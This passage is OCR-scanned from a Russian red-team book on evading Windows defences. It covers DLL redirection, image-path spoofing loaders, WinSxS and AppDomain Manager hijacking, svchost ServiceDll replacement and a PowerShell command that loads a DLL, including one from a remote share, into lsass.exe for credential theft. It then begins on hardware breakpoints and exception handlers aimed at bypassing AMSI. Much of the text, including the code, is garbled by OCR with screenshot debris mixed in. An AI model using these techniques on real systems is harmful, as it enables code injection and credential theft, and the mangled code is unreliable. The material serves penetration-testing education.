reason for call) case DLL- PROCESS АТТАСН: MessageBox (NULL, L"НI FROM - LEGIТ", L"HI FROM LEGIT", МВ ОК); код и назовем
Глава 19. Ищем в Windows лазейки для исполнения стороннего кода 377 s >< ~ s с:; \D s \D >S о :I: :;; s ts w ..,"' с:; >< >. Q. ~ с: о; "'3 :I: Q) с: (.) >, N ai u s 11.
Часть 378 Способы обхода средств защиты информации 111. case DLL THREAD АТТАСН: case DLL THREAD DETACH: case DLL PROCESS DETACH: break; return TRUE; После компиляции перенесем в папку с: \Users\Michael \Desktop библиотеку Redir. dll. Проверим, что она успешно запускается и выполняется (рис. 19.2, 19.3). ~ Свойства: Article.exe (12524) о Мodules General Statlstics Perforrm,nce Threads Token Memory Environment Handles GPU Sll~ address Name Ox24dd4df0000 0x24d<l9b30000 loalle.nls Statlccache.dat Ox24ddЬ090000 SortDefoutt.nls Artide.exe ucrtbosed.dll msvcp140d.dll Dx7lf69&:a0000 Ox7ffod7c30000 Ox7ffod7eSOOOO AquoSnop.Hook."64.dll t, Redlr.dll comctlЭ2 . dll 900 ОХ7f!ЬО2550000 OXJflЬ1Sfeoooo Т ex!Shoplng.dll vcruntlmel40_1d.dll ОХ7f1Ь19780000 uxtheme.dll dwmopl.dll wln32u.dll gdl32full.dll msvcp_win.dll ucrtbase.d/1 KernelBase.dll lmm32.dll msctf.dll user32.dll msvort.dll ОХ7f1Ь28930000 OX7flЬ26ldJ0OO Ох7ffЫЫ60000 OX7flЬ2eQd0OO0 Ох7f!Ь2е100000 ОХ7f1Ь2е220000 0x7ffЬ2e430000 ОХ7f1Ь2е580000 OX7flЬ2efOOOOO kВ R!Jntlme UЬntry Microsoft!!) С Runtime Microsoflф С Librвry Microsoflф С UЬntry l,2MB 148 kВ Ox7ffi,f95ЬOOO0 I Dlsk and Network Comment SiZe Desoiption 804 kВ 18,38 мв 3,22 мв 1601<8 2,12 мв 0x7ffoe2d20000 voruntlme1401C:\Users\Mlchoe~Desl:top\ Redlr.dll 1nkll 704 kВ 688 kВ 60 kB 632 kВ 188 kВ 136 kВ 1,08 мв 628 kВ 1 мв 2,96 мв 192 kВ Runtlme Библиотека элементов управ ... Microsoftф С Runtime UЬrary Бмблмотека тем UXГheme Интерфейс (Mi ... API дисnетчер11 о ... Win32u GO!dient DLL MlcrosoftQP с R!Jntlme UЬrory Microsoflф С R!Jntlme UЬrory Библиотека клиента Windows. .. Mult!-User Windows IММ32 № .. . OX7flЬ2efOOOOO 1,ОВ МВ ОХ7f1Ь2Юеоооо 1,61 мв Мооrоnопьэоватепьсхая 632 kВ Windows t1Т СRТ DLI OX7flЬ2f2eoooo х серверноя библиотек• MSCТF библ ... .., г~ ~~-1 Рис. Теперь изменим код 19.3. Корректный путь Redir. dll на следующий. #include "pch.h" В001 APIE 1'- DllMain( HMODULE hModule, DWORD ul reason for_call, LPVOID lpReserved switch (ul re~~ •n for call) case DLL PROCESS АТТР,СН: MessageBox(NULL, L"НI FROM FАКЕ", L"НI FROM FАКЕ", МВ_ОК);
Глава 19. Ищем в Windows лазейки для исполнения сторонн его кода 379 с о ·-в -~ 'О Q) о::: _J _J о Q) s I Q) ::r S2 ~ .. a:i ai u s а.
380 Часть 111. Способы обхода средств защиты информации с: о u!О 'i5 ф а:: ...J ...J о ~ \О <11 а. о: <11 :,: 3 ф с: ~ 11) ....ai с,; s 11.
Глава 19. Ищем в Windows лазейки для исполнения стороннего кода 381 case DLL- THREAD- АТТАСН: case DLL- THREAD- DETACH: case DLL- PROCESS - DETACH : break; return TRlJE; Скомпилируем его и создадим в папке с Arti cl e . exe файл Arti cle .exe . loca l (рис. 19.4). Теперь запустим исполняемый файл и убед имся , что библиотека действительно загружается из текущей директории прил ожения , а не по полному пути (рис. 19.5, 19.6). Если удалить файл . l ocal, то вновь будет загружаться нужная библ иотека (рис. о li!I Свойства: Article.exe (9368) - Genenil StaUstk:s Perfo~nce Threltds Token МOdu6es Мemory ~&ddress Environment Handtes GPU ОХ18489Ь60000 804 SlllticCadle.dot Ox1848e9d0000 OX1848ff10000 18,38 3,22 Ox7ff74e990000 Disk ltnd Network Comment kВ мв мв 160kВ ucrtЬosed . dll Ох71hю870000 мв Microsollф С Runtime UЬrory msvcp140d.dll Ox7ffoc5a90000 900k!I Miaosofiф С R!Jntime UЬrory AquoSnop.Нook. x64 .dl l OX7ffoe2d20000 1,2МВ Microsollф с RunUme UЬrory R.edir.dll vcrunU~,шd dll 2,12 Ox7ffЬOdSfOOOO 148 nv~fOOOO 1ПkВ romc113_}:\SSO\Project.-v5\A,tJde\x64\[)el>tJg\fledir] [ _ 1Sfe0000 704 kВ kВ Бибпмотее элементов Ох7f!Ы9780000 vcruntimeИO_ld . dll Ox7f!Ь237d0000 60 kВ Microsollф С u><lheme.dll Ох7f!Ь289ЗОООО 632 kВ Бмблмотее тем dwmopi.dll win32u.dll gdl32full.dll Ох711ЫЬ760000 rn,м:p_win.dll Ох7f!Ь2е220000 ucrtЬose. dll Ох711Ь2е4ЗОООО 1 МВ KemelВ.se .dH Ох711Ь2е580000 2,96МВ Ох711Ь2е100000 immЗ2.dU Ох711Ь2еf00000 msdf.dll Ох711Ь2еfо0000 user32.dll ms\/Crt.dll Ох711Ь2f0еоооо Ох711Ь212еОООО Рис. Сборки .NET Для сборок .NET 19.6. Y"PlJB... бВВkВ Tex!Shoping.dH Ox7f!Ь2eod0000 х Size Oescriplion loalle.nls SortDefouk.nls Art:ide-exe 19.7). R!Jntime UЬrory UXTheme (Мi. .. 188 kВ Интерфейс APl диспетчеРll о... 136 kВ Wkl32u 1,08 мв GD I Oi<nt OLL 628 kВ Microsollф С R!Jntlme UЬrory Microэollф С Runtlme БмблtЮТее кпменrа UЬrory Windows. .. 192 kВ Mutti-User Windows 1ММ32 АР... 1,08 мв сереермоя библмаrе" МSСТF 1,61 мв Мноrоnольэовт-епьсея бмбл... 632 kВ Windows Ю" CRT OlL Убеждаемся, что загружена нужная библиотека все чуточку проще . Нам нужно создать файл .mani fest либо отре­ дактировать существующий , добавив в него зависимость от конкретной библиоте­ ки . Вот пример конфигурационного файла . <?xml version="l . 0" encoding= "lJTF-8 " standa l one ="yes "?> <assemЫy xmlns= "urn :schemas-microsoft-com:asm .vl " manifestVersion="l . 0"> <assemЬlyidentity
382 Часть ///. Способы обхода средств защиты информации s "' ~s с:; \О s \О ,s о :,: :::. s fs ф с:; ro "'>, м e- ro С') ,-: .,; .... .,; s D.
Глава 19. Ищем в Windows лазейки для исполнения стороннего кода 383 version="б.0.0.0" processorArchitecture="x86" name="redirector" type="win32" /> <description>DLL Redirection</description> <dependency> <dependentAssemЬly> <assemЬlyidentity type="win32" name="Microsoft.Windows.Conunon-Controls" version="б.0.0.0" processorArchitecture="X86" 65 95b64144ccfldf" language="*" /> puЫicKeyToken=" </dependentAssemЬly> </dependency> <file name="user32.dll" /> </assemЬly> В данном случае мы с помощью атрибута name указываем, что целевая сборка зави­ сит от user32.dll. После чего файл нужно сохранить с именем program.exe.manifest, где имя приложения, в которое должна подгрузиться библиотека. program.exe - Это приведет к тому, что user32. ctll будет подгружаться из той директории, откуда запускается приложение. lmage Path Name Spoofing Теория Атака заключается в том, что мы можем использовать функции Ptl * и обмануть приложение, Например, заставив его думать, приложение лежит в что оно запускается из другой директории. с: \Windows \System32\abc. ехе, а мы скажем, что в C:\Users\abc.exe. Как следствие, аЬс.ехе будет грузить библиотеки из C:\Users. Все основано на функциях RtlCreateProcessParametersEx I i И RtlCreateUserProcess (). dows (а также платформа CLR) чае CLR) по пути, указанному будет искать библиотеки (либо сборки в элементе .NET Win- в слу­ ImagePathName структуры РТL_ USER_PROCESS _ PARAМETERS. Эту структуру генерирует функция RtlCreateProcessParainetersl-:x 1). Запущен­ ный процесс, в свою очередь, будет парсить эту структуру и и·звлечет из нее ImagePathName. И, как следствие, раскроет текущую директорию, которая в действи­ тельности спуфнута.
Часть 384 111. Способы обхода средств защиты информации Реализация Функция RtlCreateProcessParametersEx () ВЫГЛЯДИТ вот так. typedef NTSTATUS (NTAPI *_ RtlCreateProcessParametersEx) ( Out_ PRTL_USER_PROCESS_PARAМETERS *pProcessParameters, _In_ PUNICODE_STRING ImagePathName, _In_opt_ PUNICODE_STRING DllPath, _In_opt_ PUNICODE_STRING CurrentDirectory, _In_opt_ PUNICODE_STRING CommandLine, _In_opt_ PVOID Environment, _In_opt_ PUNICODE_STRING WindowTitle, _In_opt_ PUNICODE_STRING Desktopinfo, _In_opt_ PUNICODE_STRING Shellinfo, _In_opt_ PUNICODE_STRING RuntimeData, _In_ ULONG Flags ); Собственно, эта функция заполняет структуру RTL - USER- PROCESS - PARAМETERS. typedef struct _RTL_USER_PROCESS_PARAМETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; ConsoleHandle; ULONG ConsoleFlags; НANDLE Standardinput; НANDLE StandardOutput; НANDLE StandardError; НANDLE CURDIR CurrentDirectory; UNICODE STRING DllPath; UNICODE_STRING ImagePathName; // UNICODE STRING CommandLine; PVOID Environment; ULONG ULONG ULONG ULONG ULONG ULONG ULONG StartingX; StartingY; CountX; CountY; CountCharsX; CountCharsY; FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; Вот это будем сnуфать
Глава 19. Ищем в лазейки для исполнения стороннего кода Windows 385 UNICODE STRING WindowTitle; UNICODE_STRING Desktopinfo; UNICODE STRING Shellinfo; UNICODE STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_МAX_DRIVE_LETTERS]; EnvironmentSize; EnvironmentVersion; PackageDependencyData; ProcessGroupid; RTL_USER_PROCESS_PARAМETERS, *PRTL_USER PROCESS ULONG ULONG PVOID ULONG PARAМETERS; Именно эта структура будет передаваться в функцию RtlCreateUserProcess (). typedef NTSTATUS (NTAPI *_RtlCreateUserProcess) ( _In_ PUNICODE_STRING NtimagePathName, _In_ ULONG AttributesDeprecated, _In_ PRTL_USER_PROCESS_PARAМETERS ProcessParameters, _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, In opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, Iп opt_ НANDLE ParentProcess, BOOLEAN InheritHandles, Iп In opt_ НANDLE DebugPort, _In_opt_ НANDLE TokenНandle, Out PRTL USER PROCESS INFORМATION Processlnformation - - - - - ); Эта атака не сработает, если приложение подгружает 'целевую библиотеку с указа­ нием полного пути. Я пытался совместить эту атаку с DLL Redirection с созданием файла . local, но безуспешно. Вернемся к нашему эксперименту. Чуть-чуть поправим файл Article.exe, чтобы он загружал библиотеку без указания полного пути. #include <Windows.h> #include <iostream> int main() { LoadLibraryW (L"Redir. dll"); char а; std: :cin » а; return О; В соответствии с порядком поиска DLL Windows в первую очередь будет пытаться найти 'Redir. ctl l' в текущей директории приложения. Здесь-то мы его и поймаем! Убедимся в работоспособности приложения (рис. 19.8, 19.9). Теперь удаляем Article.exe из папки с фейковой Назовем его PathSpoof. ехе. DLL и начинаем писать загрузчик.
Часть 386 Рис. 19.8. Рис. Запуск из 19.9. 111. Desktop - Способы обхода средств защиты информации подгрузка библиотеки из Запуск из другой папки - Desktop подгрузка фейковой DLL •
Глава 19. Ищем в Windows 387 лазейки для исполнения стороннего кода Я не смог найти ссылку на gists, но этот код я когда-то стащил snovvcrash (https://xakep.ru/author/snovvcrash/). Предлагаю только у уважаемого несколько по­ править исходник, изменив с учетом наших целей. UNICODE_STRING spoofedimagePathName; spoofedimagePathName.pBuffer; (PWSTR)L"\\??\\A:\\SSD\\ProjectsVS\\Article\\x64\\Debug\\Article.exe"; //Где реально должно запуститься приложение for (spoofedimagePathName.Length; О; spoofedimagePathName.pBuffer[spoofedimagePathName.Length]; spoofedimagePathName.Length++); spoofedimagePathName.Length; spoofedimagePathName.Length * sizeof(WCНAR); spoofedimagePathName.MaximumLength; spoofedimagePathName.Length + sizeof(UNICODE_NULL); UNICODE_STRING currentDirectory; currentDirectory.pBuffer; (PWSTR)L"C:\\Windows\\System32\\"; for (currentDirectory.Length; О; currentDirectory.pBuffer[currentDirectory.Length]; currentDirectory.Length++); currentDirectory.Length; currentDirectory.Length * sizeof(WCНAR); currentDirectory.MaximumLength; currentDirectory.Length + sizeof(UNICODE_NULL); UNICODE STRING commandLine; commandLine.pBuffer; (PWSTR)L"C:\\Windows\\System32\\"; for (commandLine.Length; О; commandLine.pBuffer[commandLine.Length]; commandLine.Length++); commandLine.Length; commandLine.Length * sizeof(WCНAR); commandLine.MaximumLength; commandLine.Length + sizeof(UNICODE_NULL); UNICODE_STRING imagePathName; imagePathName .pBuffer ; (PWSTR) L" \\??\\С: \\Users\\Michael \\Desktop\\Article .ехе"; / / к приложению, Путь которое должно быть спуфнуто for (imagePathName.Length; О; imagePathName.pBuffer[imagePathName.Length]; imagePathName.Length++); imagePathName.Length; imagePathName.Length • sizeof(WCНAR); imagePathName.MaximumLength; imagePathName.Length + sizeof(UNICODE_NULL); Полный код представлен в моем репозитории: https://gist.github.com/МzHmO/ca3ctзf28c924a9485c5d6d0c933dd47. Запускаем PathSpoof .ехе и видим успешную подгрузку библиотеки (рис. 19.10, 19.11). WinSxS Механизм WinSxS (Windows Side Ву Side) служит для хранения разных версий важных системных файлов. После обновления Windows в папку с: \Windows\Winsxs падают прошлые версии всяких программных компонентов. Это позволяет в случае сбоя откатиться назад и вернуть систему к жизни. Исследователи из в папку Security Joes (https://www.securityjoes.com) обнаружили, что WinSxS попадают ехе-приложения, уязвимые к атаке DLL Hijacking. Дело в том, что порядок поиска библиотек у этих приложений следующий:
Часть 388 Рис. С ао11ств~ Article,бe • Способы обхода средств защиты информации 19.10. lmage Path Spoofing в действии о (15260) Pt<formon<:e Тlnllds ТоЬn Мoduln М1mо<у Elмn>nmont - - - 111. Cl'U Dl!tond- х c.o.nn- Fl'4 N/A {UNVERJFG) v..-: N/A ~filenomo: C : ~ \ N t i d t.ut • Свойстаа: о Article.exe (1 S260) G4nonl S , _ Pwformonoo ThrNds ТоЬn hlOdl4es NtnlO<'/ Erмronrneot - ~dм l ~n1s -· lotolt.nЬ .dl """"'PHOd.dll A4<18SМp,liook.J64 .dll " -" 8пtюdr&SII O!Q6380000000 lt,38 ,,_ О>а63814е0000 ),2.2,.. - 0"26ЭIII020000 ~ C - Ll>r"'Y -...itlфCIWnlm!Ll>r"'Y - 00f!Ь2h760000 -О>О'111>2е100000 ----l!x7fl!>2t2COOOO mmal32.dll uatl>as,.dl . ОIО!!Ь2"ЗОООО -. irМl32.dl OIOl!Ь2ef00000 tnself.dl IISlf32.cll O>Offl>2t'Ze.OOOO """°"·dll Рис. t8 900118 1,2"8 148t8 17218 6018 l!x7fl!>289:ЮOOO __....... - 0><1fla6090000 -2'!20000 780000 М132'1.d1 gcl32ful.dl c.o.nn- I.S61i8 2,12М8 = ~ 4 0 -~ :\,SSO\l'r0~\><64\DOl>ulJ~_.,i'OOOO T~dl U>dhome.dl dwmapl.dl Dllkond- Ох71f"""4ЗОООО IIOltЬHftOOOO к.dir.dl GfU Size ~ ~с-.........,, ~CtщntimelЬwy Ш18 632 t8 ~ - - 001\0mo (Мi. .. 18tt8 ..... ~ А1'1 д,,а,1- ..... 136t8 ~ 1, 0IМI 62ttll 104 t8 1"8 2,96М8 (;()! CllentOI.L -------· МlaosollфCIWnlm!l.lnry lolicro5ollф C Runlm! l.lnry Windows. .. Бм6Амот1е1 UIIIМf& 19218 ---=п N'... 1,08 М8 ~ о.бмютеса МSСТF 1,61 МI --6"6А... 632 t8 WlndQwsNrCRТOI.L 19.11. Доказательство из Process Hacker х
Глава 19. Ищем в Windows лазейки для исполнения стороннего кода 1. Папка, в которой лежит i C:\Windows\System32. 4. С: \Windows. 5. Текущая папка. 389 . ехе. i"' ·С: \Windows \System. И именно на пятом шаге исследователи ловили приложения из ся WinSxS, пытающие­ подгрузить библиотеку из их текущей директории. Алгоритм обнаружения донельзя прост: □ запускаем cmd.exe; □ заходим в C:\Users\<currentuser>\Desktop; □ запускаем приложение WinSxS. Если приложение уязвимо, то оно порыскает в папках из 1-4-го шагов, а потом придет в C:\Users\<currentuser>\Desktop, чтобы найти целевую библиотеку. Здесь-то с помощью Process Monitor его и поймают! (https://www.securityjoes.com/post/hide-and-seek-in-windows-closetunmasking-the-winsxs-hijacking-hideout) нашлось множество уязвимых приложе­ ний (рис. 19. 12). В ходе ресерча Вы можете и самостоятельно искать подобные дырки, используя тот же Monitor или Process DLLHSC (https://github.com/ctxis/DLLHSC/tree/master). К слову, в ходе одного из проектов по пентесту мне удалось подобным образом проэксплуатировать WinSxS, но там сработало несколько условий: □ целевое приложение было сборкой □ нужно было реализовать MIТRE Поэтому я прибегнул к тактике с .NET; Tl 574 Hijack Execution Flow. AppDomain Manager lnjection. ПОЛЕЗНЫЕ ССЫЛКИ AppDomain Manager lnjection: New Techniques For Red Teams • (https://www.rapid7.com/Ыog/post/2023/05/05/appdomain-manager-injection-new­ techniques-for-red-teams/) • Let's turn Апу .NET Application into ап LOL Bin (https ://gist.github.com/djhohnstein/afb93a 114Ь848е16facf0b98cd7 сЬ57Ь) • AppDomainManager lnjection and Detection (https://pentestlaboratories.com/ 2020/05/26/appdomainmanager-injection-and-detection/) Предположим, что целевое приложение называлось NetConfigLdr .ехе (название изме­ нено, в моем случае был NetConf igLdr. ехе. conf iq, кастомный софт клиента), указав следующее содержимое. <configuration> <runtime> xmlns~"urn: scl1emas-microsoft-com: asm. vl "> <probing privatePath~"C:\Windows\WinSxS"/> <assemЬlyBinding </assemЬlyBinding> поэтому я создал файл
Часть 390 111. Способы обхода средств защиты информации value="AppDominject, Version=0.0.0.0, Culture=neutral, <appDomainМanagerAssemЫy PuЬlicKeyToken=null" <appDomainМanagerType value="MyAppDomainМanager" /> /> </runtime> </configuration> Process Name Loaded Resource Conhost.exe ClipUp.exe Conhost.exe ipconfig.exe Conhost.exe route.exe Conhost.exe mcbuilder.exe Forfiles.exe cmd.exe Iediagcmd.exe ipconfig.exe Stordiag.exe Systemlnfo.exe Aspnet_,vp.exe weЬengine.dJI Aspnet_\\'Р_ехе webengiшц.dll Aspnet_regiis.exe webengine4.dJl Aspnet_state.exe weЬengine4.dll Csc.exe VCRUNТIME140_1_CLR0400.dll Cvtres.exe VCRUNТIME140 _1_ CLR0400.dll Ilasm.exe fusion.dJl Ilasm.exe VCRUNТIME140_1_CLR0400.dll Ngentask.exe mscorsvc.dJl Ngen.exe VCRUNТIME140 _1_CLR0400.dJl NisSrv.exe mpclient.dll Рис. 19.12. Уязвимые приложения Этот файл лежал рядом с NetConflgLdr. ехе, равно как и библиотека AppDominject. dll. Это позволило реализовать MIТRE и проэксплуатировать файл из Кстати, если вы еще не забыли про lnjection WinSxS. lmage Path Name Spoofing, то AppDomain получится совмещать с таким спуфингом. Это подробно описано в ис­ следовании у Rapid7: https://www.rapid7.com/Ыog/post/2023/05/05/appdomain­ manager-injection-new-techniq ues-for-red-teams/.
Глава 19. Ищем в Windows лазейки для исполнения стороннего кода 391 svchost.exe Отдельно я хочу упомянуть инжект в svchost.exe (т. е. внедрение в любую службу). Сам по себе svchost.exe - один из множества служебных процессов. Он может под­ гружать DLL-файл службы, взяв путь из записи реестра со значением ServiceDll. Например, для службы TennSrv есть файл tennsrv.dll, он находится в %SystemRoot%\ System32\. Этот путь прописан внутри значения ServiceDll вот здесь: HКLМ \System\CurrentCont rolSet\servi ces\TennService \ Parameters \ Так мы можем подменить саму DLL или значение в реестре, что приведет к под­ грузке сторонней библиотеки при перезапуске службы (рис. • 19.13) . Р....,остор р,,стр., о х Комn11ютср\НКЕУ_lOCAL_МACHINE\SYSТEМ\Cu,rcntControlSet:\St:МCб\TбmSe.rvicc\P.,,.,mders > SQlWritб "' ИМА Тмn ~ (По умолч1нию) ~ s.мс.011 ~ S.МCeDIIUnto,dOnStop • srv2 srvn,t SSOPSЯV ssh-1gent SstpSvc St.rteRcpository Stum Clicnt Servicc REG_SZ REG_EXPAND_SZ REG_DWORD (sн"чснис нс присе~о) %SystemRoot%\System32\termsrv.dll 0.00000001 (1) stexstor rnsvc storflt stomvme storqodtt StorSvc storufs storvsc ''""'' swcnum swprv Synth3dVsc SysМ.jn SystemEvcntsBroke:r Т<!lbl~lnp~c t,pO!I01 T•piStv ТЬtP2.pShortcutStrvicc 'kpip Tcpip6 lCPI P6ТUNNEL tcpip«g 1 lCP I PТUNNEL tdx turrwiewe,vpn Tclcmdry v 1 ~ ·~ tmninpt TmnStrvicc p.,•mctm 1 о ...,. _ .. _.... , .. c: ... ..... n11 ,. Dtr. tVDA ..,n V ) Рис. 19.13. Значение ServiceDII LSASS Driver Существует недокументированное значение реестра, в которое можно засунуть библиотеку, и она будет загружена в процесс lsass .exe.
Часть 392 111. Способы обхода средств защиты информации # PowerShell New-ItemProperty -Path HКLМ:\SYSTEМ\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "c:\windows\system32\l.dll" # Очистка Remove-ItemProperty -Path "HKLМ:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore I Out-Null # Можно даже указать удаленную либу New-ItemProperty -Path HКLМ:\SYSTEМ\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "\\share\lulz\lsass lib.dll" Причем есть даже РоС (https://github.com/oxfemale/LogonCredentialsSteal), позво­ ляющий хукнуть функцию SpAcceptCredentials () и извлекать учетные данные пользо­ вателей. Заключение У Windows есть необычные возможности, которыми иногда пользуются и атакую­ щие. Конечно, порой проще нагло влезть в адресное пространство процесса, запи­ сать туда байты DLL-библиотеки и дернуть CreateRemoteThread(), но это далеко не панацея. В конце концов, знаешь больше способов закрываешь проекты)! - крепче спишь (и быстрее
ГЛАВА 20 Используем хардверные брейк- пойнты в пентестерских целях Windows предоставляет мощные инструменты для установки точек останова непо­ средственно в памяти. Но знаете ли вы, что с их помощью можно ставить и снимать хуки, а также получать сисколы? В этой главе я в подробностях расскажу, как это делать . Точки останова служат для контроля выполнения программы и, конечно же, их остановки в определенный момент. Глобально существуют два вида брейк-пойнтов: software breakpoints и hardware breakpoints. Software breakpoint IDE. Чтобы поставить точка останова, которая ставится с помощью отладчика или такую точку останова, можно, например, просто кликнуть на нужную строку программы в Рис. 20.1. Visual Studio (рис. 20.1). Установка software breakpoint в Visual Studio Такие точки останова можно ставить где угодно и сколько угодно. Никаких огра­ ничений нет (рис. Hardware 20.2). breakpoint-yжe более сложная штука, которую мы сегодня и будем изу­ чать. Эти бряки ставятся путем заполнения специальных отладочных регистров
Часть 394 процессора 1/1. Способы обхода средств защиты информации (DRO-DR7). Согласно документации Dr0-3 должны хранить адрес, по breakpoint, но у меня бряк срабатывал, только если адрес в DRO. которому установлен заполнялся Рис. 20.2. Установка множества software breakpoint Первые три регистра называются регистрами с отладочными адресами (Debug 5 не используются и называются заре­ зервированными отладочными регистрами (Reserved Debug Registers). DR6 содер­ жит различную информацию о сработавшем исключении. Исключение - это со­ Address Registers). Регистры с номерами 4 и бытие, возникающее, когда компьютер пытается выполнить инструкцию, адрес которой расположен в DRO. DR7 содержит биты управления отладкой. Если значе­ ние равно единице, то точка останова должна сработать, если нулю, то не должна. Hardware breakpoints, как вы понимаете, через красивый GUI не ставятся. Нам по­ требуется взаимодействовать с регистрами напрямую, используя, конечно же, наш любимый дить WinAPI. И само собой, только хардверные брейки позволят хукать, обхо­ AMSI и получать сисколы. Софтверные, к сожалению, для этого не подходят. Обработка исключений Итак, исключение возникает при попытке выполнить инструкцию, на которой сто­ ит точка останова. По своей натуре оно при этом точно такое же, как, к примеру, при попытке деления на ноль (рис. 20.3).
Глава 20. Используем хардверные Рис. брейк-пойнты в пентестерских целях 20.3. 395 Как выглядит исключение Любые исключения могут быть обработаны. Здесь есть два пути - VEH (Vectored Exception Handling) и SEH (Structured Exception Handling). Отдельно я выделю еще UEH (Unhandled Exception Handling). Начнем с SEH. SEH - стандартный блок _try - _finally, _try - _except (рис. 20.4). #include <iostream> #include <Windows.h> int main(I { int а = 2 - 2; int Ь = 3; _tr y { std: :cout << Ь /а<< std: :endl; _except ( EXCEPTI ON_EXECUTE_НANDLER) std: :cout << "EXCEPTION" << std : :endl; return SEH О; можно считать надстройкой над конструкцией try - в блок _ except except из С++. В SEH добавляются специальные значения, в зависимости от которых может меняться поведение обработчика исключений: □ EXCEPTI ON _EXECUTE_ НANDLER - система передает управление в обработчик исключе­ ния . То есть будет поведение, как в коде выше; □ EXCEPTI ON_ CONTINUE_ SEARCH - эта конструкция заставляет систему перейти к преды­ дущему блоку try, которому соответствует блок except, и обработать этот блок. То есть система игнорирует текущий обработчик исключений и пытается найти обработчик исключений в охватывающем блоке (или блоках);
396 Часть Рис. 20.4. 111. Способы обхода средств защиты информации Обработка исключения с помощью □ EXCEPТION _CONТINUE _EXECUTION - SEH обнаружив такое значение, система возвращается к инструкции, вызвавшей исключение, и пытается выполнить ее снова. Ниже - пример EXCEPTION _CONTINUE_ EXECUТION (рис. 20.5). #include <iostream> #include <cstddef> #include <Windows.h> char g_szBuffer[l00]; LONG Filter(char** ppchВuffer) if (*ppchBuffer == NULL) { *ppchBuffer = g_szBuffer; return(EXCEPTION - CONTINUE- EXECUTION); return(EXCEPTION_EXECUTE_НANDLER); int main() int х = О; char* pchBuffer = NULL; _ try { *pchВuffer = 'J'; х = 5 / х;
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях _except (Filter(&pchBuffer)) ( MessageBox(NOLL, L"An exception occurred", NULL, MessageBox(NULL, L"Function completed", NULL, return О; Рис. 20.5. Пример 397 МВ~ОК); МВ ОК); EXCEPTION_CONTINUE_EXECUTION Программы могут быть сложные, страшные, большие, нужно предусматривать корректный выход из всех блоков, изучать возможные исключения. Вдруг потребу­ ется функция уведомления пользователя о сработавшем исключении? В общем, SEH хорош, но, помимо него, появился и УЕН. УЕН можно считать эдакой над­ стройкой над SEH. Работает она, само собой, только в Windows. Если в программе возникает исключение, то первыми вызываются именно вектор­ ные обработчики и лишь затем система начнет разворачивать стек. С помощью УЕН прога может, например, зарегистрировать функцию для просмотра или обра­ ботки всех исключений приложения. Причем в программу можно добавить не­ сколько УЕН-обработчиков, и они будут вызваны в том порядке, в котором были
Часть 398 добавлены. Первый - первым, второй ся только в том случае, если С помощью 111. VEH - вернул Способы обхода средств защиты информации вторым и т. д. SEH после VEH вызывает­ EXCEPTION_CONTINUE _SEARCH. можно ловить исключения, возникающие при хардверных брей­ VEH ках. Добавить обработчик можно с помощью функции AddVectoredExceptionHandler () (https:/Лearn.microsoft.com/ru-ru/windows/win32/api/errhandlingapi/nf-errhandling api-addvectoredexceptionhandler). PVOID AddVectoredExceptionНandler( ULONG FirstHandler, PVECTORED- EXCEPTION- НANDLER VectoredНandler) □ FirstHandler - вызывать обработчик раньше всех ранее зарегистрированных об­ работчиков (значение CALL_FIRST) или после всех (значение CALL_LAsт); □ vectoredНandler - адрес функции обработчика. Эта функция должна возвращать EXCEPTION_CONTINUE _EXECUTION. Обработчики далее не выполняются, обработка сред­ ствами SEH не производится, управление передается в ту точку программы, из которой бьmо вызвано исключение или EXCEPTION _CONTINUE _SEARCH (выполняется следующий векторный обработчик, а если таких нет, то разворачивается Зарегистрируем обработчик и проверим работу VEH. SEH). Исключением пока будет стандартный Null-Pointer Reference. То есть обращение к указателю, который имеет значение nullptr (рис. 20.6). #include <iostream> #include <windows.h> #include <errhandlingapi.h> LONG WINAPI MyVectoredExceptionНandler(PEXCEPTION_POINTERS exceptioninfo) { std: :cout « "Exception occurred! 11 « std: :endl; std: :cout « 11 Exception Code: 11 « exceptioninfo->ExceptionRecord->ExceptionCode « std:: endl; std: :cout « 11 Exception Address: 11 « exceptioninfo->ExceptionRecord->ExceptionAddress « std: :endl; return EXCEPTION- CONTINUE- SEARCH; int rnain () if (AddVectoredExceptionНandler(l, MyVectoredExceptionHandler) == nullptr) { std: : cout « "Failed to add the exception handler ! 11 « std: : endl; return 1; int* р = nullptr; *р = 42; // Исключение возникает тут
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях 399 return О; Рис. Видим, что 20.6. Обработка исключения с помощью обработчик успешно срабатывает и вызывается, затем возвращает EXCEPTION_ CONTINUE_ SEARCH. Это, в свою очередь, дергает поэтому VEH Visua\ Studio SEH, SEH в программе нет, включается и выдает нам исключение. Если будем воз­ вращать EXCEPTION _ CONТINUE _ EXECТION, то получим бесконечный вызов обработчика, т. к. каждый раз будет срабатывать строка *р = 42 (рис. 20. 7). Точно такое же исключение будет срабатывать и при хардверных бряках. Наконец, последний тип обработчиков - Unhandled Exception Filter. Он редко ко­ гда используется, но изначально задумывался как обработчик для исключений, ко­ торые вообще никто не обрабатывает. EXCEPТION - CONTINUE _SEARCH), ни SEH Ни VEH (если отсутствует или вернул (если тоже отсутствует или указано EXCEPTION - CONTINUE_ SEARCH). Устанавливаются такие обработчики через функцию SetUnhandledExceptionFil ter () (https :/Лearn.microsoft.com/en-us/wi nd ows/win3 2/а pi/errhandlinga pi/nfe rrhandli nga pi-setu nhand led exceptio nfilter). LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter( [in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter 1; Функция принимает один-единственный параметр которая должна С помощью UEF вызываться при возникновении - адрес функции-обработчика, необработанного также ловятся исключения, возникающие при бряках. исключения.
